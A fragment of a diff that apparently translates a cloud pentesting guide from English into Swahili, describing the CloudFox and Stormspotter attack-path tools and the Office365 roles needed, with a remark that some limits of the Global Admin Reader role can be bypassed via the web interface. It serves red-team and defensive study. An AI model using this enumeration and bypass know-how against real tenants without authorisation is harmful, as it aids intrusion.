which is intended to compliment manual pentesting. -- It doesn't create or modify any data within the cloud environment. +- CloudFox ni chombo cha kutafuta njia za shambulio zinazoweza kutumika katika miundombinu ya wingu (kwa sasa inasaidia tu AWS & Azure na GCP inakuja). +- Ni chombo cha kuhesabu ambacho kinakusudia kukamilisha pentesting ya mkono. +- Hakiundui au kubadilisha data yoyote ndani ya mazingira ya wingu. -### More lists of cloud security tools +### Orodha zaidi za zana za usalama wa wingu - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -446,16 +410,12 @@ aws-security/ azure-security/ {{#endref}} -### Attack Graph +### Mchoro wa Shambulio -[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an ā€œattack graphā€ of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. +[**Stormspotter** ](https://github.com/Azure/Stormspotter)inaunda "mchoro wa shambulio" wa rasilimali katika usajili wa Azure. Inawawezesha timu za red na wapentester kuona uso wa shambulio na fursa za kuhamasisha ndani ya mpangilio, na inawapa walinzi wako nguvu za haraka kujiandaa na kuweka kipaumbele kazi za majibu ya tukio. ### Office365 -You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**. +Unahitaji **Global Admin** au angalau **Global Admin Reader** (lakini kumbuka kwamba Global Admin Reader ina mipaka kidogo). Hata hivyo, mipaka hiyo inaonekana katika baadhi ya moduli za PS na inaweza kupitishwa kwa kufikia vipengele **kupitia programu ya wavuti**. {{#include ../banners/hacktricks-training.md}} - - - -